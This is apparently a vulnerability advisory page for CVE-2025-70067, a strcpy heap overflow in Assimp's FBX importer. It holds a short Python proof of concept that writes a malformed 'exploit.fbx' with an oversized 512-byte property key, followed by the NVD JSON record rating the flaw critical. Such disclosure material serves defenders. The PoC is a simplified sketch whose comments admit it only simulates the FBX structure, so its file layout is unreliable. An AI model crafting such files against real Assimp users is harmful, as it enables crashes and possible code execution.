CVE-2025-70067

import struct # Conceptual PoC for CVE-2025-70067 # This script generates a malformed FBX file to trigger the buffer overflow. def create_malformed_fbx(filename): with open(filename, 'wb') as f: # Write minimal FBX binary header f.write(b'Kaydara FBX Binary\x20\x00\x00\x00\x1a\x00') # Construct an overly long property key string # The target buffer size in aiMaterial::AddBinaryProperty is small (e.g., 256 bytes). # Exceeding this causes the overflow. payload_len = 512 malicious_key = b'A' * payload_len # In a real FBX file, this would be part of a Material property node. # We simulate writing the data that leads to the strcpy. f.write(struct.pack('I', len(malicious_key))) f.write(malicious_key) f.write(b'\x00') # Null terminator required by strcpy if __name__ == "__main__": create_malformed_fbx("exploit.fbx") print("[+] Malformed FBX file generated: exploit.fbx")

{"cve": {"id": "CVE-2025-70067", "sourceIdentifier": "[email protected]", "published": "2026-05-04T14:16:29.350", "lastModified": "2026-05-05T19:47:31.297", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer Overflow vulnerability exists in Assimp versions up to 6.0.2 in the FBX Importer. The vulnerability occurs in aiMaterial::AddBinaryProperty, where a property key string from a crafted FBX file is copied into a fixed-size heap buffer using strcpy() without runtime length validation"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "references": [{"url": "http://assimp.com", "source": "[email protected]"}, {"url": "https://gist.github.com/GunP4ng/b6653184a4c5c3e608e6368227397505", "source": "[email protected]"}, {"url": "https://github.com/assimp/assimp", "source": "[email protected]"}]}}